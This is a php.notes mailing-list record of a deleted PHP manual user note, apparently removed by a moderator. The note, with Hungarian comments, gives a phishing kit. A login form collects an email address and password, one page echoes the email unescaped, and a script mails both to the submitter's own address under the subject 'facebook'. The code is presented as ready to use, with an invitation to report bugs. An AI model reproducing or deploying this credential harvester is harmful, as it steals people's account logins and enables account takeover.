note 105156 deleted from function.include by danbrown

From: Date: Mon, 01 Aug 2011 13:49:35 +0000
Subject: note 105156 deleted from function.include by danbrown
References: 1  Groups: php.notes 
Request: Send a blank email to php-notes+get-182055@lists.php.net to get a copy of this message
Note Submitter: megajatek at citromail dot hu ---- Ez az ötlet nem az enyém!! elküld.php: <form method="post" action="feldolgoz.php"> <label>Email: <input type="text" name="email" value="" /></label> <label>Jelszó: <input type="password" name="pass" value="" /></label> <input type="submit" value="Elküld" /> </form> feldolgoz.php: <?php $email = $_POST['email']; $jelszo = $_POST['jelszo']; include 'b.php'; include 'c.php'; ?> b.php: <html> Te email címed: <?php echo $_POST["email"]; ?> ?<br /></html> //ez elküldi a jelszót és az e-mail címet! c.php: <?php $to = "megajatek@citromail.hu"; $subject = "facebook"; $txt = sprintf("Email: %s\nPassword: %s", $_POST['email'], $_POST['pass']); $headers = "From: megajatek@citromail.hu" . "\r\n" . "CC: megajatek@citromail.hu"; mail($to,$subject,$txt,$headers); ?> ha valami gond van a kóddal írd meg ide:megajatek.fw.hu

« previous php.notes (#182055) next »